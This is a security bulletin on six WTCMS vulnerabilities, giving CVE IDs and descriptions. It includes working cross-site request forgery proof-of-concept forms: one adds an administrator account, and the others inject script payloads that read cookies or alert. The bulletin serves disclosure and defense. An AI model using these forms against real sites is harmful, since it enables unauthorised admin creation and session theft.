SB2019092414 - Multiple vulnerabilities in WTCMS
Published: September 24, 2019
Breakdown by Severity
- Low
- Medium
- High
- Critical
Description
This security bulletin contains information about 6 secuirty vulnerabilities.
1) Cross-site request forgery (CVE-ID: CVE-2019-16719)
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin in "index.php?g=admin&m=index&a=index". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.
PoC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[host]/wtcms-master/index.php?g=&m=admin_page&a=index" method="POST">
<input type="hidden" name="start_time" value="" />
<input type="hidden" name="end_time" value="" />
<input type="hidden" name="keyword" value=""><svg onload=alert(document.cookie)><a src="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2) Cross-site request forgery (CVE-ID: CVE-2018-10267)
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin in the "index.php?admin&m=user&a=add_post" URI. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as add an administrator account.
PoC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[host]/index.php?g=admin&m=user&a=add_post" method="POST">
<input type="hidden" name="user_login" value="hacker1" />
<input type="hidden" name="user_pass" value="hacker1" />
<input type="hidden" name="user_email" value="123@qq.com" />
<input type="hidden" name="role_id[]" value="2" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
3) Cross-site request forgery (CVE-ID: CVE-2019-8910)
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin in the "index.php?g=admin&m=setting&a=site_post". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as obtain administrator cookie.
PoC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[host]/index.php?g=admin&m=setting&a=site_post" method="POST">
<input type="hidden" name="options[site_name]" value="test" />
<input type="hidden" name="option_id" value="10" />
<input type="hidden" name="options[site_admin_url_password]" value="" />
<input type="hidden" name="options[site_tpl]" value="default" />
<input type="hidden" name="options[site_adminstyle]" value="flat" />
<input type="hidden" name="options[site_icp]" value="" />
<input type="hidden" name="options[site_admin_email]" value="" />
<input type="hidden" name="options[site_tongji]" value="<script>alert("test")</script>" />
<input type="hidden" name="options[site_copyright]" value="" />
<input type="hidden" name="options[site_seo_title]" value="�¿½�¸�»�¿½�¡�¿½" />
<input type="hidden" name="options[site_seo_keywords]" value="" />
<input type="hidden" name="options[site_seo_description]" value="" />
<input type="hidden" name="options[urlmode]" value="0" />
<input type="hidden" name="options[html_suffix]" value="" />
<input type="hidden" name="options[comment_time_interval]" value="60" />
<input type="hidden" name="cmf_settings[banned_usernames]" value="" />
<input type="hidden" name="cdn_settings[cdn_static_root]" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html> 4) Stored cross-site scripting (CVE-ID: CVE-2019-8911)
The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data in the third text box (for the website statistics code). A remote attacker can permanently inject and execute arbitrary HTML and script code in user's browser in context of vulnerable website.
Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.
5) Resource exhaustion (CVE-ID: CVE-2019-8909)
The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.
The vulnerability exists due to the background verification code size can be controlled. A remote attacker can send a specially crafted dimensions for the verification code image, trigger resource exhaustion and perform a denial of service (DoS) attack.
6) Code Injection (CVE-ID: CVE-2019-8908)
The vulnerability allows a remote attacker to execute arbitrary code on the target system.
The vulnerability exists due to improper input validation in a ".php" filename and the "Content-Type: image/gif" header. A remote attacker can send a specially crafted request and execute arbitrary PHP code by going to the "Setting -> Mailbox configuration -> Registration email template" screen, and uploading an image file.
Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.
Remediation
Cybersecurity Help is not aware of any official remediation provided by the vendor.